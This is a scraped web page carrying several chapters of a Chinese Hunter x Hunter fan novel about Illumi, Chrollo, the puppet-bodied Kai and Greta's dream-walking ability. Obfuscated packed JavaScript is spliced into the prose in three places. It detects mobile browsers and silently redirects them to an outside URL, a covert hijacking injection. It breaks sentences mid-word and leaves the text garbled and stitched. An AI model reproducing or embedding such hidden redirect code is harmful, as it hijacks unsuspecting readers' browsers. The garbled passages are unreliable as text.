伊尔迷没有立刻说话。他将凯放在床边,自己则拉过一把椅子,坐在正对面,形成了一个微妙的对峙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16894322|186323||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /观察距离。那双漆黑的猫眼一眨不眨,从头到脚,细致地检视着眼前的存在。 凯只感觉自己被一只大型黑猫盯着,那目光里没有温度,只有评估。他皱了皱眉,移开了视线。 再看,再看信不信我再给你另一边也来一下对称?算了,忍住,收集情报要紧。 相对于凯的忍耐,伊尔迷放得更开。他伸出手,指尖径直探向凯的脸颊,捏了捏,感受着手下那异常逼真的人类皮肤触感——温凉、细腻、有弹性。在凯抬起头,投来一个毫不掩饰的 “你有病吧?” 的嫌弃眼神时,伊尔迷非但没有收手,反而顺势揉了揉他的头发。 动作自然得仿佛曾经做过千百遍。 伊尔迷内心记录:触感反馈优秀,毛鳞片模拟到位。古董本身工艺加分。 然后,他的手向下,握住了凯(人偶)的手。手指修长,骨节分明,和记忆数据库里的样本吻合。但当他用自己的手完全包裹住那只手时,一种微妙的尺寸差异让他顿住了。 伊尔迷低头,看了看自己明显比对方大了一圈、骨节更粗粝、充满力量感的手掌,再看了看被自己握住的那只“凯”的手。 他抬眼,目光首次直接对上凯的眼睛,平静地陈述了一个基于客观事实的观测结论: “…你停留在了那个时候。” 你的时间冻结在了“处理”节点,而我的时间在继续流动。 凯:“…” 他看了伊尔迷一眼,又低头看了看两人交握的手,那尺寸对比确实明显。然后,他抬起眼,用一种平静到近乎耿直的语调,清晰地说道: “是你老了。” 伊尔迷:…………………………(宕机般的漫长沉默。) 凯:“…” (说完有点后悔,但更多是一种破罐破摔的畅快。反正这是人偶,没有痛觉系统,他就算气得当场把它拆了,自己也能瞬间“下线”回归程笑脑子。风险可控,吐槽自由。) 伊尔迷沉默了足有半分钟,最终,憋出了一句带着点无奈和训诫意味的评价: “………不学好。” 伊尔迷没有再多说什么。 他起身,一丝不苟地检查并锁好了门窗。这还不够,指尖念力微闪,几个肉眼难辨的精密陷阱被布置在关键点位。 凯冷眼看着这一切,人偶的嘴角似乎勾起一丝极淡的、嘲讽的弧度:“…………你觉得这能困住我?” 伊尔忙碌的动作未停,甚至连头都没回,只是撇过来一个毫无波澜的眼神,声音平直:“…不。你还用不到这个。” 凯:“………………” 这话比直接说“能”或“不能”更侮辱人。意思分明是:你目前的威胁等级,还不足以让我动用这些防御措施。 ……再次见面,两个人的对话已经进化到了 “舔个嘴唇就能把自己毒死” 的剧毒境界。 终于,伊尔迷布置完毕。他走到床边,掀开被子躺下,然后——手臂一伸,极其自然地把坐在床边的凯整个捞了过来,圈进怀里。动作流畅得像在捞一个等身抱枕。 凯:“?” 伊尔迷似乎对他的僵硬很不满意,手向上移,不由分说地把凯的脑袋往下按了按,让他以一个更“契合”的姿势窝在自己颈窝处,然后才用那平板的声线,给出了终极答案: “…你能挣开,再说吧。” 凯明白了。 你连我(单纯□□力量)的钳制都挣脱不了,还妄想突破那些陷阱? 省省吧。 …… 奇!耻!大!辱!!! 凯的意识里仿佛有火山在喷发,但人偶躯体的力量在伊尔迷的绝对控制下,确实如同蚍蜉撼树。他徒劳地挣动了几下,反而被伊尔迷一个翻身,更牢固地压在了身下,彻底成了一个人形固定器。 凯:“……………”(状态更新:从“抱枕”降级为“镇压物下方的抱枕版”。) 就在凯准备放弃抵抗、自闭到天亮时,伊尔迷的声音从头顶传来,带着一丝刚想起什么似的随意: “…对了。你这个样子…洗过澡吗?”(毕竟是从森林里捡回来的,还滚了床底。) 凯:“…………” (心中恶念陡生)他故意用一种平静无波的语气,报复性地撒谎:“不洗。从没洗过。” 伊尔迷沉默了两秒。 然后,他用一种更加理所当然、甚至带着点“正好”意味的语气,平静地回道: “…正好。我也没洗。” 凯:“??!!你滚啊!!!”(哪怕是人偶,意识也感到了严重的卫生和精神双重不适!) 回应他的,是伊尔迷带着湿漉漉头发(证明他刚洗过澡)的脑袋,精准地、结结实实地压了下来,直接封住了他(人偶)的嘴(虽然并不需要呼吸),然后,调整了一下姿势,发出了均匀绵长的呼吸声。 ——秒睡。或者说,进入“揍敌客式高效休眠”状态。 凯:“………………” 被以一种极其别扭、绝对主导、且毫无浪漫可言的姿势镇压在下方,脸上还盖着对方刚洗过的、带着冰凉水汽和淡淡洗发水味的头发…… 幸好人偶没有呼吸系统。 不然这可能会成为史上第一个被“头发憋死”的意识体。 46.第 46 章 第二天,阳光刺眼。 幻影旅团的成员们,在经历了昨晚“抢银行团建”的体力活后,白天依旧被迫“勤勤恳恳”地跟在那三位捉摸不透的大佬身后,执行着“监视/辅助/随时准备接应(或跑路)”的模糊任务。 他们潜伏在集市的人流、屋顶的阴影、甚至路边的水果摊后(飞坦对此表示极度不满),用念能力或纯粹的专业技巧隐藏着自己,目光紧锁着前方那诡异的三人组:自家团长库洛洛、揍敌客长子伊尔迷,以及那个被团长和伊尔迷轮流掌控的、名为“凯”的人偶(意识体)。 他们眼睁睁看着: 库洛洛和伊尔迷简短交谈了几句(内容听不清,但气氛一如既往的冰冷塑料)。 然后,库洛洛忽然伸手,将一直安静待在伊尔迷身侧的凯(人偶)轻轻往前一推,让他站到了三人最前面。 库洛洛的声音不大,但足够清晰:“带路。你知道该去哪。” 蜘蛛们:“……?” 藏身于一处阁楼窗后的芬克斯,揉了揉因为熬夜而发红的眼睛,压低声音对旁边的同伴吐槽: “…我们是不是可以歇歇了?让凯带路去找程笑?”他撇了撇嘴,“用脚趾头想都知道,他肯定会带着我们在城里兜圈子,或者干脆引到陷阱里去。这算什么任务?” 对方还没来得及回应,他们耳机里就传来了侠客冷静的分析声。作为情报担当,他显然一直在多线程处理信息: “安静。老大不是在犯傻。” 侠客的声音带着一贯的数据感,“他这是在利用凯的‘不配合’,给我们传递信息。” 阁楼上的两人一愣。 侠客继续解释,语速平稳: “逻辑很简单。凯必然会试图误导方向,保护程笑。所以——” “如果凯选择带领的方向是‘东’,那么程笑真正藏身的区域,在‘西’的概率就会大幅上升。” “即使不能直接定位,也能有效排除一个错误方向,大幅缩小我们的搜索范围。老大是在用凯的‘反抗’,来为我们绘制反向地图。” 芬克斯沉默了几秒,消化了一下这层逻辑,最后憋出一句: “…好吧。不愧是老大。”(虽然听起来有点绕,但仔细一想,确实很库洛洛。) 前方,被推到队伍前方的凯几不可查地僵硬了一瞬。 他当然明白库洛洛的意图。这是阳谋。利用他的不合作,反向推导程笑的方位。 但问题是…… 他昨晚是直接远程附身到这具人偶身上的。整个过程类似于“意识传输”,他根本没有经过到达旅馆的物理路径。 所以…… 他根本不知道自己现在身处这座城镇的哪个位置。 自然更不可能知道程笑下榻的格雷塔旅馆在哪个方向。 这就好比给了你一个没有GPS、没有地图、连起点坐标都不知道的导航任务。 ……可以说是“傻子克高手”的终极体现了。任你库洛洛智谋通天,也算不到我是个根本不知道自己在哪的“路痴导航”。 凯心中一片冰凉(但面上毫无波动)。他不动声色地开始“带路”,实际上是在漫无目的地逛。 街道很热闹,正是早市高峰期。熙熙攘攘的人群,吆喝叫卖的摊贩,空气中混杂着食物、蔬菜和尘土的气息。更致命的是,为了摆摊而临时搭建的棚户和摊位,放眼望去长得大差不差,连街道的格局在匆忙一瞥下都显得雷同。 凯的目光在相似的街景中来回扫视,试图找出一点独特的标志物。没有。他绝望地发现,在认路和记地形这方面……程笑那个活蹦乱跳的,确实比自己这个依赖数据和逻辑的前管家厉害多了。 不然,自己昨晚也不会在附身之前,像个备考学生一样,把程笑提供的路线图在意识里反复背诵了两遍,才敢进行“传送”。 于是,在又一个看起来和前面三个路口几乎一模一样的十字路口,凯的脚步毫无悬念地、彻底地停住了。 凯:……………… (内心:我是谁?我在哪?我该往哪走?) 库洛洛一直密切观察着凯的神色和肢体语言,试图从细微处解读他“刻意误导”的企图。此刻见凯停下,他心中一动,金色瞳孔微微眯起: 是在这个关键路口,思量该如何选择最能误导我们的方向吗?果然,他开始认真‘带路’了。 然而,旁边的伊尔迷只是平静地瞥了一眼僵在原地的凯,然后用他那毫无起伏的声线,陈述了一个基于多年共同生活经验的事实: “…他迷路了。” 库洛洛:??? (怀疑自己听错了,或者伊尔迷在说某种暗号。) 伊尔迷似乎对库洛洛的惊愕毫无所觉。他径直上前,伸手——像拎一个迷路的大型玩偶一样——把站在路口中央、显得有点茫然的凯拎了回来,放到自己身边,然后才补充说明: “…他路感很差。只能记住亲眼看过且走过至少两遍以上的路径。陌生环境,没有地图或明确地标,他无法导航。” 库洛洛:“………………” 过了好几秒,他才找回了自己的声音,带着一丝难以置信:“那你怎么不早说?” 伊尔迷看了他一眼,眼神里似乎有“这么明显的事实还需要说吗”的意味,但还是平淡地解释: “…他一开始‘带路’的时候,步伐和方向选择都很笃定,装得很好。” 被拎回来、安静站在一旁的凯,闻言,微微抬了抬下巴,用他那平静无波的声线,接了一句: “…谢谢夸奖。” 库洛洛:“…………………………………” ……就在库洛洛陷入无语,伊尔迷拎着凯,气氛尴尬时—— 一个稚嫩的声音怯生生地插了进来: “哥、哥哥……给姐姐买束花吧。” 一个小女孩凑到近前,她先是将期盼的目光投向了凯。在她简单的认知里,紧挨着站(被拎着)的凯和伊尔迷,看起来更像是“一起的人”。而其中长发披肩、面容精致的伊尔迷,自然被归类为了“姐姐”。她的小手指,也因此犹豫地指向了伊尔迷。 凯微微一怔,低头看向这个衣衫略显陈旧、眼神却清澈的孩子。一种源于流星街底色、对于挣扎求生者的本能共情与怜惜,极淡地掠过他的意识。他的第一反应是给予最直接的帮助——金钱。 他下意识地抬手,想去掏口袋(尽管人偶可能并没有口袋这个设计),随即动作僵住。 ……身无分文。 这具人偶躯壳,除了“自己”,一无所有。 凯沉默了一瞬,对上小女孩期待的眼神,最终只能几不可查地、带着一丝真实的遗憾,轻轻摇了摇头。他无法提供她需要的、最实际的帮助。 就在这时,一旁的库洛洛动了。 他流露出一种近乎本能的、优雅从容的微笑。他甚至没看价格,直接从大衣口袋里摸出几张戒尼,递给小女孩,温和地说:“这些花,我都要了。” 小女孩的眼睛瞬间亮了,开心地把整个小花篮都递了过去。 库洛洛接过花篮,指尖轻盈地拨弄了一下,挑出那几支品相最好的玫瑰花。然后,在女孩好奇的目光、以及伊尔迷和凯同步投来的、毫无波澜的注视下—— 他修长的手指捏住玫瑰过长的花茎,指尖不知何时凝出一片薄如蝉翼的念刃,如同最精巧的剪刀,唰唰几下,便将多余的花茎利落削去,只留下一小段恰到好处的长度。 接着,他微微俯身,动作轻柔地将那朵修剪好的玫瑰花,别在了小女孩那有些毛躁的鬓边。 阳光透过花叶,在他低垂的睫毛上投下细碎的阴影。他抬起头,对着一脸懵懂、脸颊却开始慢慢泛起红晕的小女孩,露出了一个足以让任何青春期少女心跳加速的、温柔又带着些许忧郁魅力的笑容,轻声说道: “鲜花,赠美人。” 他修剪花枝,俯身为女孩戴上的动作,优雅而自然。那句“鲜花赠美人”,也并非轻浮的调情,更像是一种给予孩子“被郑重对待”的情绪价值的仪式。他给予的,不仅是金钱,还有一瞬间“被当作重要人物看待”的梦幻感。 女孩脸红跑开,他回身,准备继续那令人头痛的“路痴导航”议题,目光却自然而然地落在了眼前这对曾经的“夫妻”身上。 伊尔迷依旧拎着凯,两人站得很近,物理距离近乎亲密,可之间流动的气息却只有沉默与一种冰冷的实用主义。看着他们同步投来的、对刚才一幕充满纯粹不解的眼神,一个念头划过库洛洛脑海。 他忽然很好奇——在那些被伊尔迷称为“妻子”的岁月里,他们之间,究竟是如何相处的? 于是,他脸上那抹习惯性的、带着疏离感的优雅微笑里,掺入了一丝毫不掩饰的、近乎学术探究般的兴味与淡淡的嘲弄。他朝伊尔迷和凯的方向微微偏了偏头,用那种谈论天气般自然,却又精准得可怕的语气问道: “怎么?”他黑色的瞳孔在两人之间流转,“…你们之前,没做过吗?” 他顿了顿,确保自己的意思清晰无误: “我是说,作为‘夫妻’的时候……没送过花?或者,没干过类似这种……‘提供情感价值’的事情?” 空气仿佛凝滞了。 伊尔迷和凯的脸上,第一次出现了高度同步的、纯粹的茫然。 伊尔迷微微蹙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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这种柔软的、温暖的、会带来痛苦却也连接着生而为人的内核的东西……早已成为他为了在流星街存活、为了在揍敌客苟延、为了在无数次逃亡中保持清醒而主动尘封、深深掩埋的“软肋”。 当年做出那个决定时,他并非没有犹豫。他将这颗代表“情感”的种子,小心翼翼地封存进意识最坚硬的冻土之下,天真地、甚至带点自欺欺人地以为:它只是暂停了生长。等到环境合适了,等到安全了,等到……他有资格成为一个“完整的人”时,再把它挖出来,让它发芽、抽枝,长成应有的模样。 可就在刚才,在库洛洛那句轻飘飘的嘲弄和伊尔迷理所当然的漠然所形成的夹击下,他惊恐地意识到—— 它没有暂停。 它已经……“丢失”了。 或者说,在那片过于寒冷、坚硬、充满毒素的土壤里,它早已在漫长的封存中,无声无息地风化、消散了。 一种前所未有的、冰凉的残缺感,猛地攫住了他。不是身体,是灵魂深处,仿佛被硬生生剜去了一块他原本以为自己并不需要、此刻却感到空荡剧痛的部分。 在“封存”它的那一瞬间,他想的甚至是:丢了也没关系。 反正这个世界——流星街、揍敌客、还有这永无止境的追杀——并不适合这种脆弱之物的生存。没有它,我能活得更高效、更冷酷、也更安全。 ……可是。 他遇到了程笑。 程笑给予他的,不是利用,不是算计,不是冰冷的“价值评估”。而是一种混沌的、不讲道理的、却又无比坚实的并肩与在乎。 正是这种前所未有的、“更好”的关系,像一束强光,照出了他自己灵魂上的那片空洞。 一种无法给予对方同等意义回馈的惶恐,悄然滋生。 因为凯·希拉里昂的处事原则,向来是等价交换。付出与获得,利用与被利用,风险与收益……这种清晰、冷静、甚至有些冷酷的权衡,才是他安全感的最大来源。 但现在,他碰到了一个似乎不遵循这条法则的存在。 他想要回应,想要握住那束光。 却绝望地发现,自己可能已经失去了“爱”与“被爱”的能力,失去了那种自然而然地“提供情感价值”的本能。他拿什么去交换程笑给予的这份沉重又温暖的东西? 拿他精密的计算?拿他关于揍敌客的情报?拿他这具随时可以抛弃的人偶躯壳? 不够。 完全不对等。 库洛洛的视线仿佛还带着余温,伊尔迷催促“带路”的声音在耳边响起。 凯僵在原地,内部却正经历着一场无声的海啸。 他残缺了。 而他刚刚才发现。 47.第 47 章 “怎么了?”回到房间,伊尔迷揪起凯,为了防止他熟练的低头回避,还特意把他拎到了眼睛可以轻松相对的高度。 反正这个身体轻的像只猫。 “说。”他的声音平直,如同手术刀划过无菌布。 凯感到自己的意识在这绝对的注视下无处遁形,像被钉在标本板上的昆虫。他厌恶这种被彻底解析的暴露感,更厌恶必须向眼前这个人袒露哪怕一丝一毫的脆弱。 “…没什么。”最终,他别开视线,声音干涩,“只是觉得……我不如库洛洛。”他顿了顿,选了一个更安全、更符合“价值比较”逻辑的词,“…不如他‘敏锐’。” 他试图用理性包裹住那正在溃堤的自我厌恶。 伊尔迷挑了挑眉,那细微的表情变化里透出一种纯粹的、近乎天真的不解。他像放下一个摆件般将凯搁在地上,俯视的目光里没有嘲讽,只有基于自身逻辑的笃定评判: “‘敏锐’?”他重复这个词,仿佛在品尝一个陌生概念,“那是弱者用来弥补先天不足的冗余感官。它带来噪声,干扰判断。” 他微微倾身,阴影彻底吞没了凯,声音里带着一种斩钉截铁、不容置疑的“真理”感: “你不需要那种东西,凯。你是我的东西。而我的东西,只需要最核心的功能——稳定,高效,可控。那些无用的‘敏锐’,就像机体不必要的痛觉神经,除了预警无效的伤害,毫无益处。” 凯猛地抬头。 荒谬感如冰水灌顶,但紧随其后的,是更汹涌、更苦涩的浪潮——他意识到,伊尔迷并非在侮辱他。这个人,是在陈述他世界观里最基础的“优化定律”。 而这,恰恰是最残酷的。 “是的,伊尔迷。”凯的声音很轻,却像绷紧的弦,每个音节都带着震颤,“你真是……一件令人惊叹的造物。” 他抬起头,第一次毫无闪避地迎上那双空洞的猫眼,话语如同淬毒的冰棱,缓慢而清晰地从齿间挤出: “你摒弃了人性里最扰人的‘杂音’——对温暖的贪恋,对共鸣的渴求,对自身存在意义的无休止诘问……你用恐怖的意志,将自己锻造成一座绝对理性、毫无冗余的‘水晶棺’。美丽,冰冷,永恒,封闭。” 凯的语调逐渐升高,那并非愤怒,而是一种近乎绝望的洞悉: “你站在悬崖边,亲手将那些‘弱点’一个个推下去,以为这样就能轻装前行,直达巅峰。你以为你挣脱了枷锁——” 他的声音骤然跌落,带着一丝自身灵魂被撕裂般的痛楚: “——可你挣脱的时候,才会听见那悬崖底下传来的、空洞的呼啸。那不是什么枷锁的回响,伊尔迷。” 凯的目光死死锁住对方,一字一句,如同最后的审判,也如同对自己的凌迟: “那是你丢掉的部分自己,在风里碎成粉末的声音。” “你赢得了生存,却把自己活成了一座……完美无瑕的坟墓。” 空气凝固了。 伊尔迷静静地站在那里,脸上没有任何被冒犯的表情。他甚至偏了偏头,仿佛在认真思考凯的话。几秒后,他眼中掠过一丝极淡的、纯粹的逻辑困惑: “坟墓?”他重复道,语气平稳如常,“可是凯,坟墓不会感到饥饿,不会感到疼痛,不会因为‘丢失’了无用的部件而痛苦。” 他向前一步,指尖轻轻点在自己心口,做了一个毫无情绪波动的示意: “你看,我这里很安静。效率很高。而你所说的‘粉末’……” 他的目光落在凯微微颤抖的手指上,做出了最终裁定: “…听起来,更像是还在你心里,刮着沙暴。” 凯:“………” 这甚至不是回击。 他只是说出了事实。 “我不明白。”伊尔迷的声音平板无波,“你所说的‘粉末’,是指那些会让判断失准、效率降低、徒增风险的冗余情感模块吗?”他像在讨论一个被卸载的软件,“如果是为了‘挣脱’束缚、达成更高目的,主动卸载冗余模块,是标准优化流程。‘丢了’是结果,不是损失。” 他向前一步,阴影笼罩住凯的人偶身躯,语气里带着一种近乎导师般的笃定:“凯,你的问题从来不是‘丢了’什么,而是你卸载得不够彻底。你残留的‘愧疚’、‘责任’、甚至刚才那种对‘缺失’的所谓‘苦涩’,才是让你不断陷入困境的漏洞。” 他伸出手,指尖几乎要触碰到凯的额头,那姿态不像威胁,更像一次冰冷的“系统诊断”:“真正的‘便于生存’,是像祖父,像父亲,像我一样,从一开始就不安装那些模块。或者,像处理故障一样,把它们彻底格式化。” “而你,”伊尔迷的瞳孔里映出凯沉默的脸,“你总是试图在‘效率’和那些没用的东西之间寻找一个不存在的‘平衡点’。这才是你痛苦的根源。” 凯的指尖几不可查地颤动了一下。伊尔迷的话像一把冰冷的手术刀,精准地剖开他一直试图回避的真相——他并非纯粹的理性机器,却用机器的标准苛责自己;他渴望人的联结,却又恐惧其带来的脆弱。这种撕裂感,才是他真正的“残缺”。 “…是程笑。”伊尔迷的语气如同确诊一项污染,斩钉截铁,“我早说过,他只会带来无序的熵增。” 他右手握拳,轻轻敲在左手掌心,完成了逻辑闭环: “你认为自己和他一样,对吗?错误。” 他的声音里带着一种近乎导师般的、冰冷的笃定: “你们属于截然不同的世界。强行兼容只会让你的核心过载,产生你现在这种——”他微微眯起那双深不见底的眼睛,精准地吐出诊断结果:“自责,迷惘,与无效的冗杂。” 凯觉得喉咙有些发紧。 “……我会成为什么人,”他听见自己的声音干涩地响起,像是生锈的齿轮在转动,“本就是我自己的选择。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16894324|186323||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >他抬起头,目光试图穿透对方那层非人的外壳: “…你觉得,我和你是一类吗?纯粹的功利主义?极致的…物化逻辑?” 伊尔迷闻言,脸上罕见地掠过一丝极其细微的、近乎“诧异”的波动,仿佛听到自家顶配超算突然问出“1+1等于几”。 “当然不是,凯。”他甚至轻轻拍了拍凯的肩膀,动作带着一种奇特的、如同保养精密仪器般的“耐心”,“你不需要加载那些冗余的‘自我抉择’模块。你的最优运行模式只有一种:接收指令,高效执行。” 他的话语里,带着一种天经地义的残酷: 你从被赋予“妻子”这个身份起,就永远失去了“决定权”这项权限。 凯的嘴角牵动了一下,泛起的弧度里浸满了冰冷的自嘲。 “…其实,”他偏过头,避开那双能将他一切挣扎都照得无所遁形的眼睛,声音轻得像一声叹息,“我宁愿你打我。” 他知道这话在伊尔迷的逻辑里,恐怕无异于自己脑子进水。 “至少那意味着……你把我视作一个可以对等回击的‘人’。”他顿了顿,意识到这可能是最徒劳的解释,“…不过,‘平等’这个概念,大概从未被写入你的基础认知库。” 凯垂下眼帘,目光落在自己这双属于人偶的、过于完美却毫无温度的手上。他像是对着虚空,也像是对着自己那早已千疮百孔的过去,低声道: “在你的世界里,万物皆为资源,可进行‘平等’价值交换的对象…寥寥无几。” 半晌,他吐出一个名字,如同投下一枚测试逻辑的棋子: “西索。” 他重新看向伊尔迷,眼神里有一种近乎殉道者的平静: “如果有一天,你看向我的眼神,能像你看待西索一样——承认我的危险性,正视我的不可控,将我视为一个需要计算代价、可能带来同等毁灭的‘对等存在’——” “那么,或许到那时……你才会拥有我一直在徒劳向你诉求的东西。” “不是所有权,伊尔迷。是‘承认’。” 伊尔迷歪了歪头,长长的黑发滑过肩头。 他花费了几秒钟,无比认真地处理这段信息。 然后,核心逻辑给出了一个基于绝对事实的、无法辩驳的结论。 他看了看凯——这具脆弱、安静、曾被他妥善收藏的躯壳,又想了想西索——那具充满了狂暴念力、不可预测、如同移动天灾般的身体。 一种“自家绝版典藏手办突然说自己想变成哥斯拉”的荒谬感,让他罕见地流露出一丝近乎无奈的情绪。 他微微蹙眉,用那双纯然不解的漆黑眼眸看着凯,低声喃喃,语气里充满了基于客观事实的困惑: “…我怎么可能把你和西索划入同一评估序列?” 他甚至还上下打量了一下凯现在这副弱不禁风的样子,补充了决定性论据: “我又没瞎。” 48.第 48 章 “……我就不该贪那点‘实验数据’。”格雷塔对着空气咬牙切齿,第无数次后悔自己昨晚那个“聪明”的决定。 她的念能力「梦径引路人」,能引导受术者的梦境走向特定主题或场景,而她作为“引路人”,可以如同隔着单向玻璃般,清晰观察梦中发生的一切。这能力用来拷问情报、探究秘密,或是像她这样——收取一些“特殊房费”——简直无往不利。 通常,梦境会在受术者潜意识最疲惫或最放松时自然结束,她也随之脱身。 可程笑……这个看起来只是有点跳脱的少年,他的意识深处,根本不是一座可以随意进出的花园。 那是一片被强行按下暂停键的、布满裂痕的冰川。 格雷塔的能力成功引导了梦境的开端——按照她的预设,本该是关于“最深恐惧”或“最重要秘密”的探寻。但在触及某个模糊核心的瞬间,一股庞大、冰冷、绝对“静止”的意志反噬般淹没了她预设的路径,将她连同程笑尚未完全展开的梦境,一起拖入了无尽的、粘稠的黑暗深潭。 她成了自己能力的囚徒。 更让她头皮发麻的是,在这片停滞的意识混沌中,一些记忆的碎片——不属于她预设方向,而是程笑意识深处更古老、更真实的沉淀物——如同深海的磷光,幽幽地飘荡过来。 她“听”到了声音,模糊的对话,感受到一种无比熟悉的、冰冷的、带着精密计算感的思维节奏。 “坐标确认,物资清单已加密传输。报酬汇入老账户。” “萨恩的状态?……暂时稳定。‘那边’的动向,需要额外留意。” “……明白。保持静默。” 格雷塔的呼吸在现实中的吧台后窒住了。 这个语气……这个简洁高效、不带任何冗余信息的沟通方式……还有那提及“萨恩”时极其微妙的、几乎不存在的停顿。 是凯? 是她那个付钱爽快、要求明确、最后消失得无影无踪的神秘雇主。 程笑的意识深处,为什么会有「凯」的印记?而且还是如此核心、如同背景音般持续存在的印记? 难道程笑是凯的……继任者?关联者?还是……某种容器? 无数猜测如同冰锥刺入格雷塔的脊椎。她想起程笑入住时,自己感受到的那份“突兀的熟悉感”。原来那不是错觉。 她试图强行切断能力链接,但「梦径引路人」的规则之一:若受术者意识因非自然原因(如外力打击、死亡)持续处于非正常状态(如此刻的绝对静止),引路人将无法单方面脱离,直至受术者意识恢复流动或自然苏醒。 简而言之:程笑不醒,她就得陪着“做梦”,或者说,被困在这片意识的死海里。 “这叫什么事……”格雷塔揉着突突直跳的太阳穴。 她感觉自己像一颗坠入深海的石子,四周是无边无际、粘稠冰冷的黑暗。那不是睡眠的安宁,而是一种拒绝一切、吞噬一切的虚无。程笑的意识空间,比她想象中最棘手的噩梦还要令人窒息。 她最初遇到的,是弥漫在每一寸“空气”里的自我厌恶。那不是尖锐的恨,而是沉淀了太久、已经变成背景噪音的疲惫质疑: “为什么总是差一点?” “为什么没有人真正看见?” “是不是我……根本就不配?” 这些念头如同黑色的潮水,一遍遍冲刷着意识的边界。格雷塔明白了,这个看似玩世不恭、总能绝处逢生的少年,内核是一片早已被判了死刑的荒原。他所做的一切,不是出于热爱或野心,而是为了向一个他早已不相信的观众证明“我可以”。而当掌声落定,虚无如期而至,他发现自己站在巅峰,手里却空无一物,连一个可以分享这份“成功”的同伴都没有。 于是,厌恶从自身蔓延向整个世界。当内外皆无可恋,离开就成了最“合理”的选择。 凯的出现,无尽的追杀……这些疯狂的经历像一层厚厚的绷带,暂时裹住了这个不断渗血的伤口。可一旦静止下来,在“绝对静止”的代价中,伤口便在没有干扰的情况下,开始无声地溃烂、弥漫。 “这小子……不是‘能睡’,他是醒不过来。”格雷塔感到一阵寒意。她的能力让她成了这片意识荒原上唯一的活物,也被规则捆绑成了唯一的囚徒。她不能切断链接离开,只能向更深处下潜,去找到那个蜷缩在黑暗核心的“程笑”,设法唤醒他,或者至少……让这片黑暗别把自己也吞没。 她拨开越来越浓重的、几乎化为实质的自我否定,终于在意识的最底层,看到了一个身影。 程笑抱膝坐着,姿态甚至是放松的。他抬起头,看到格雷塔,脸上居然还能扯出那种熟悉的、有点玩世不恭的笑容:“哟,老板娘?迷路了?这地儿住宿条件可不咋地啊。” 他语气轻快,但格雷塔能感觉到,以他为中心,那种粘腻的、令人窒息的黑暗正在加速弥漫。能见度急剧下降,连她自己的意识体都感到迟滞和冰冷。 她必须让他“想点别的”,否则两人都会被这绝望的泥沼彻底淹没。 “小子,别贫了。”格雷塔努力让自己的“声音”听起来镇定,她需要一个“外部话题”来分散程笑的注意力,打破那不断滋生的黑暗。 于是,她提起在梦境中出现过的人:“你听说过我上一个老板吗?代号叫‘凯’的家伙。” 她开始描述,凭着记忆中那些零星却鲜明的印象:极度守时、付款爽快、要求明确到冷酷、沟通简洁得像机器代码,以及……那份挥之不去的、被精密计算过的孤独感。 她提到萨恩,提到那些隐秘的物资运输,提到凯最后消失得无影无踪。 但效果却超出了她的预期。 随着她的叙述,周围的黑暗开始涌动、变形。程笑脸上那副故作轻松的面具缓缓剥落,他眼中闪过一丝极其复杂的情绪——是熟悉,是痛楚,是某种深切的共鸣。 “……他就像个设定好程序的幽灵。”格雷塔最后总结道,带着一丝她自己都没察觉的、对那位神秘前雇主的复杂感慨,“活得没有一点人味儿,但偏偏……又好像背负着比谁都重的东西。” 话音落下的瞬间。 四周的黑暗轰然坍缩、重塑! 格雷塔感到一阵天旋地转的失重感,仿佛被扔进了意识的漩涡。粘腻的黑暗被撕开,刺眼(但冰冷)的光线涌入。 等她稳住“身形”,发现自己正站在一条空旷、寂静、铺着暗色地毯的漫长走廊里。墙壁是某种深色的石材,泛着冷硬的光泽。空气中有淡淡的消毒水味和一种更隐秘的、属于大型建筑物的陈旧气息。 这里不是她的酒馆,也不是程笑那片意识的荒原。 她站在一扇沉重的、雕刻着简约但诡异家纹的房门外。门内传来极其轻微、规律的声响,像是……金属工具被拿起、放下的声音,偶尔夹杂着布料摩擦的窸窣。 格雷塔茫然四顾。她不知道这是哪里,但本能地感到一阵毛骨悚然的压抑和监视感。这地方太安静了,安静得不像是给人住的。 这时,她“听”到了声音——不是用耳朵,而是直接在她作为“引路人”的意识里响起。那是两个声音的混杂与回响,仿佛来自不同时空的叠音,却又诡异地清晰: 一个年轻些,平直冰冷: “……念针的效果超出了预估。他失忆了,目前仍在昏迷。” 另一个则更低沉威严: “他之前在流星街布置的那些‘线’呢?找到了吗?” “…没有。消失得很干净。就连萨恩——那个‘线头’——也失踪了。议会档案室那场火……把所有明面的线索都烧了。” …………短暂的沉默,门后的两人仿佛陷入了思考。 “看来,他最后攻击你,可能本就是计划的一部分。用‘死亡’或‘失控’,来触发最终的清理程序,保全暗处的一切。” “…目标达到了。他现在什么都不记得了。” 嗡—— 格雷塔的意识像是被重锤击中。 那些零碎的印象瞬间被串联起来:凯那精准到冷酷的指令、对萨恩状态的隐晦询问、源源不断输往流星街的特殊物资……原来他不是携款潜逃,是被抓了。原来他做这一切,不是为了什么宏大野心,只是为了……流星街? 